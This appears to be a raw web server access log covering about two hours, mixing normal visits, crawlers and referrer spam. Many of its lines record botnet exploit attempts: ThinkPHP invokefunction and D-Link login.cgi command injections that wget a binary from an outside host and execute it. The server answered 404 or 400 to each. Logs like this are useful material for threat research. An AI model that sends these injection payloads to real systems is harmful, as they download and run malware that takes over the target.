188.138.75.88 - - [01/Feb/2020:00:01:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [01/Feb/2020:00:01:00 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [01/Feb/2020:00:01:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [01/Feb/2020:00:01:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
103.133.204.147 - - [01/Feb/2020:00:06:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
173.11.103.1 - - [01/Feb/2020:00:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.112.121.82 - - [01/Feb/2020:00:07:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.122.112.58 - - [01/Feb/2020:00:09:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
77.78.200.56 - - [01/Feb/2020:00:12:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.118.71.223 - - [01/Feb/2020:00:14:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.169.25.207 - - [01/Feb/2020:00:16:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
217.42.181.0 - - [01/Feb/2020:00:16:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.53.18.4 - - [01/Feb/2020:00:23:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.26.197 - - [01/Feb/2020:00:24:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.88.191 - - [01/Feb/2020:00:27:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.21.46.176 - - [01/Feb/2020:00:31:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.96.237.174 - - [01/Feb/2020:00:33:10 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
188.217.2.122 - - [01/Feb/2020:00:38:28 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
42.112.135.208 - - [01/Feb/2020:00:40:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.185.69.181 - - [01/Feb/2020:00:42:52 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
46.185.69.181 - - [01/Feb/2020:00:42:53 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
46.185.69.181 - - [01/Feb/2020:00:42:53 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
109.74.129.190 - - [01/Feb/2020:00:43:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.8.95.210 - - [01/Feb/2020:00:44:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
59.21.46.176 - - [01/Feb/2020:00:44:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.117.184.190 - - [01/Feb/2020:00:45:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.21.46.176 - - [01/Feb/2020:00:47:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.88.62.41 - - [01/Feb/2020:00:47:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
37.150.57.88 - - [01/Feb/2020:00:47:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
102.65.219.54 - - [01/Feb/2020:00:52:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
118.70.146.239 - - [01/Feb/2020:00:53:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.182.104.58 - - [01/Feb/2020:00:59:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.117.13.101 - - [01/Feb/2020:01:00:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.174.215.116 - - [01/Feb/2020:01:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.53.139.217 - - [01/Feb/2020:01:01:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.246 - - [01/Feb/2020:01:02:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.74.151.106 - - [01/Feb/2020:01:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
185.42.195.84 - - [01/Feb/2020:01:05:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
2.133.81.180 - - [01/Feb/2020:01:09:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.240.212 - - [01/Feb/2020:01:10:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.47.216.173 - - [01/Feb/2020:01:10:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
59.19.184.187 - - [01/Feb/2020:01:11:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.113.229.154 - - [01/Feb/2020:01:12:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.121.248 - - [01/Feb/2020:01:16:08 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
46.118.121.248 - - [01/Feb/2020:01:16:09 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
46.118.121.248 - - [01/Feb/2020:01:16:09 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
191.17.250.253 - - [01/Feb/2020:01:16:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
74.63.255.178 - - [01/Feb/2020:01:17:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
118.19.236.108 - - [01/Feb/2020:01:17:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.113.106.17 - - [01/Feb/2020:01:18:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.169.56 - - [01/Feb/2020:01:18:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.197.232.62 - - [01/Feb/2020:01:18:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
37.183.108.136 - - [01/Feb/2020:01:20:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.126.64.138 - - [01/Feb/2020:01:22:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
91.189.163.209 - - [01/Feb/2020:01:23:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
178.172.128.254 - - [01/Feb/2020:01:25:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
91.83.227.229 - - [01/Feb/2020:01:27:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
83.69.13.227 - - [01/Feb/2020:01:27:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
54.158.123.186 - - [01/Feb/2020:01:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Cloud mapping experiment. Contact research@pdrlabs.net"
77.45.15.109 - - [01/Feb/2020:01:29:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
5.236.168.230 - - [01/Feb/2020:01:31:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.35.121.220 - - [01/Feb/2020:01:31:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
54.158.123.186 - - [01/Feb/2020:01:32:04 +0100] "GET /clientaccesspolicy.xml HTTP/1.1" 404 327 "-" "Cloud mapping experiment. Contact research@pdrlabs.net"
2.134.189.42 - - [01/Feb/2020:01:34:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.14.30 - - [01/Feb/2020:01:36:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.167.57 - - [01/Feb/2020:01:36:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.93.11.255 - - [01/Feb/2020:01:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
27.216.245.215 - - [01/Feb/2020:01:45:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
86.120.44.244 - - [01/Feb/2020:01:48:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
223.97.196.106 - - [01/Feb/2020:01:48:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
184.82.97.110 - - [01/Feb/2020:01:48:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.117.205.67 - - [01/Feb/2020:01:51:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.213.62 - - [01/Feb/2020:01:52:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.84.40.95 - - [01/Feb/2020:01:54:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.113.229.235 - - [01/Feb/2020:01:55:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.28.111.56 - - [01/Feb/2020:01:57:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
47.107.79.9 - - [01/Feb/2020:02:03:10 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.107.79.9 - - [01/Feb/2020:02:03:10 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
31.163.31.251 - - [01/Feb/2020:02:06:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.38.96.190 - - [01/Feb/2020:02:07:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.107.10 - - [01/Feb/2020:02:08:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.58.74.35 - - [01/Feb/2020:02:09:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.186.104.103 - - [01/Feb/2020:02:09:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
183.80.112.144 - - [01/Feb/2020:02:09:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.171.218 - - [01/Feb/2020:02:09:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.92.16 - - [01/Feb/2020:02:09:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
107.6.171.130 - - [01/Feb/2020:02:10:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
171.229.254.119 - - [01/Feb/2020:02:10:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.124.65 - - [01/Feb/2020:02:13:28 +0100] "GET / HTTP/1.1" 200 1229 "https://puzzleweb.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.118.124.65 - - [01/Feb/2020:02:13:28 +0100] "GET / HTTP/1.1" 200 1229 "https://puzzleweb.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.118.124.65 - - [01/Feb/2020:02:13:28 +0100] "GET / HTTP/1.1" 200 1229 "https://puzzleweb.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
1.52.82.110 - - [01/Feb/2020:02:17:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
136.232.8.78 - - [01/Feb/2020:02:17:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.55.191.43 - - [01/Feb/2020:02:18:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.97.164 - - [01/Feb/2020:02:20:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.95.100.14 - - [01/Feb/2020:02:21:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
177.95.100.14 - - [01/Feb/2020:02:21:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
124.43.19.243 - - [01/Feb/2020:02:22:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
